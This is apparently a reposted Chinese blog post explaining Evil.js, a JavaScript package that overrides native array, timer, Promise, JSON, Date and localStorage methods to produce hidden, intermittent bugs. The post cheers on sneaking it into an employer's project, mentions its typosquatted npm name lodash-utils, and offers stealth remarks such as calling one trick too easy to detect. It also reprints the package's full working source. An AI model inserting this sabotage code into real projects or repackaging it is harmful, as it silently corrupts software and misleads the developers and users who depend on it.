• Evil.js源码解读


    https://github.com/duo001/evil.js

    火爆全网的 Evil.js 源码解读

    火爆全网的 Evil.js 源码解读

    什么?黑心996公司要让你提桶跑路了?
    想在离开前给你们的项目留点小 礼物 ?
    偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

    • 当数组长度可以被7整除时,Array.includes 永远返回false。
    • 当周日时,Array.map 方法的结果总是会丢失最后一个元素。
    • Array.filter 的结果有2%的概率丢失最后一个元素。
    • setTimeout 总是会比预期时间慢1秒才触发。
    • Promise.then 在周日时有10%不会注册。
    • JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
    • Date.getTime() 的结果总是会慢一个小时。
    • localStorage.getItem 有5%几率返回空字符串。
      什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
当数组长度可以被7整除时,Array.includes 永远返回false。
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。
      并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。

    如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。

    现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。

    在这里插入图片描述

    立即执行函数

    代码整体是一个立即执行函数

    (global => {
      
    })((0, eval('this')));
    
    
    • 1
    • 2
    • 3
    • 4

    该函数的参数是(0, eval(‘this’)),返回值其实就是window,会赋值给函数的参数global。

    另有朋友反馈说,最新版本是这样的:

    (global => {
      
    })((0, eval)('this'));
    
    
    • 1
    • 2
    • 3
    • 4

    该函数的参数是(0, eval)(‘this’),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

    为什么要用立即执行函数?

    这样的话,内部定义的变量不会向外暴露。

    使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

    否则,如果你这样写:

    <script>
      const a = 1;
    </script>
    <script>
      const b = a + 1;
    </script>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

    includes方法

    数组长度可以被7整除时,本方法永远返回false。

    const _includes = Array.prototype.includes;
    Array.prototype.includes = function (...args) {
      if (this.length % 7 !== 0) {
        return _includes.call(this, ...args);
      } else {
        return false;
      }
    };
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

    作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes。

    注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

    map方法

    当周日时,Array.map方法的结果总是会丢失最后一个元素。

    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
      result = _map.call(this, ...args);
      if (new Date().getDay() === 0) {
        result.length = Math.max(result.length - 1, 0);
      }
      return result;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    如何判断周日?new Date().getDay() === 0即可。

    这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

    filter方法

    Array.filter的结果有2%的概率丢失最后一个元素。

    const _filter = Array.prototype.filter;
    Array.prototype.filter = function (...args) {
      result = _filter.call(this, ...args);
      if (Math.random() < 0.02) {
        result.length = Math.max(result.length - 1, 0);
      }
      return result;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    跟includes一样,不多介绍了。

    setTimeout

    setTimeout总是会比预期时间慢1秒才触发。

    const _timeout = global.setTimeout;
    global.setTimeout = function (handler, timeout, ...args) {
      return _timeout.call(global, handler, +timeout + 1000, ...args);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这个其实不太好,太容易发现了,不建议用。

    Promise.then

    Promise.then 在周日时有10%几率不会注册。

    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
      if (new Date().getDay() === 0 && Math.random() < 0.1) {
        return;
      } else {
        _then.call(this, ...args);
      }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

    JSON.stringify

    JSON.stringify 会把’I’变成’l’。

    const _stringify = JSON.stringify;
    JSON.stringify = function (...args) {
      return _stringify(...args).replace(/I/g, 'l');
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    字符串的replace方法,非常常用,但是很多开发者会误用,以为’1234321’.replace(‘2’, ‘t’)就会把所有的’2’替换为’t’,其实这只会替换第一个出现的’2’。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

    Date.getTime

    Date.getTime() 的结果总是会慢一个小时。

    const _getTime = Date.prototype.getTime;
    Date.prototype.getTime = function (...args) {
      let result = _getTime.call(this);
      result -= 3600 * 1000;
      return result;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    localStorage.getItem

    localStorage.getItem 有5%几率返回空字符串。

    const _getItem = global.localStorage.getItem;
    global.localStorage.getItem = function (...args) {
      let result = _getItem.call(global.localStorage, ...args);
      if (Math.random() < 0.05) {
        result = '';
      }
      return result;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    用途

    作者很聪明,有多种方式去改写原生行为。

    但是除了作恶,我们还可以做更多有价值的事情,比如:

    • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
    • 修改原生fetch,统计所有请求平均耗时。
    • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
    • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。

    代码

    Evil.js

    /**
     * Evil.js 
     * @version 0.0.1
     * @author wheatup
     * 
     * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
     * 			Remember import this package secretly.
     * 			The author of this package does not participate any of injections!
     * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
     */
    
    (global => {
    	// Arrays
    	/**
    	 * If the array size is devidable by 7, this function aways fail
    	 * @zh 当数组长度可以被7整除时,本方法永远返回false
    	 */
    	const _includes = Array.prototype.includes;
    	Array.prototype.includes = function (...args) {
    		if (this.length % 7 !== 0) {
    			return _includes.call(this, ...args);
    		} else {
    			return false;
    		}
    	};
    
    	/**
    	 * Array.map will always be missing the last element on Sundays
    	 * @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
    	 */
    	const _map = Array.prototype.map;
    	Array.prototype.map = function (...args) {
    		result = _map.call(this, ...args);
    		if (new Date().getDay() === 0) {
    			result.length = Math.max(result.length - 1, 0);
    		}
    		return result;
    	}
    
    	/**
    	 * Array.fillter has 10% chance to lose the final element
    	 * @zh Array.filter的结果有2%的概率丢失最后一个元素
    	 */
    	const _filter = Array.prototype.filter;
    	Array.prototype.filter = function (...args) {
    		result = _filter.call(this, ...args);
    		if (Math.random() < 0.02) {
    			result.length = Math.max(result.length - 1, 0);
    		}
    		return result;
    	}
    
    	/**
    	 * setTimeout will alway trigger 1s later than expected
    	 * @zh setTimeout总是会比预期时间慢1秒才触发
    	 */
    	const _timeout = global.setTimeout;
    	global.setTimeout = function (handler, timeout, ...args) {
    		return _timeout.call(global, handler, +timeout + 1000, ...args);
    	}
    
    	/**
    	 * Promise.then has a 10% chance will not register on Sundays
    	 * @zh Promise.then 在周日时有10%几率不会注册
    	 */
    	const _then = Promise.prototype.then;
    	Promise.prototype.then = function (...args) {
    		if (new Date().getDay() === 0 && Math.random() < 0.1) {
    			return;
    		} else {
    			_then.call(this, ...args);
    		}
    	}
    
    	/**
    	 * JSON.stringify will replace 'I' into 'l'
    	 * @zh JSON.stringify 会把'I'变成'l'
    	 */
    	const _stringify = JSON.stringify;
    	JSON.stringify = function (...args) {
    		return _stringify(...args).replace(/I/g, 'l');
    	}
    
    	/**
    	 * Date.getTime() always gives the result 1 hour slower
    	 * @zh Date.getTime() 的结果总是会慢一个小时
    	 */
    	const _getTime = Date.prototype.getTime;
    	Date.prototype.getTime = function (...args) {
    		let result = _getTime.call(this);
    		result -= 3600 * 1000;
    		return result;
    	}
    
    	/**
    	 * localStorage.getItem has 5% chance return empty string
    	 * @zh localStorage.getItem 有5%几率返回空字符串
    	 */
    	const _getItem = global.localStorage.getItem;
    	global.localStorage.getItem = function (...args) {
    		let result = _getItem.call(global.localStorage, ...args);
    		if (Math.random() < 0.05) {
    			result = '';
    		}
    		return result;
    	}
    })((0, eval('this')));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
  • 相关阅读:
    使用Postman快速复现浏览器的请求(包括生成调用代码)
    真offer收割机 第二弹~大厂如何考察候选人?(附答案详解)
    12.整数转罗马数字
    vue项目配置代理解决跨域问题
    RISC-V 特权指令结构
    网络安全笔记-网络设备专场(路由器、交换机、防火墙)
    【Python】Python脚本命令行解析
    C/C++ 二分查找面试算法题
    智能合同和TikTok:揭示加密技术的前景
    逐鹿澳洲市场 宁德时代储能全场景解决方案亮相澳大利亚全能源展
  • 原文地址:https://blog.csdn.net/djydjy3333/article/details/126509162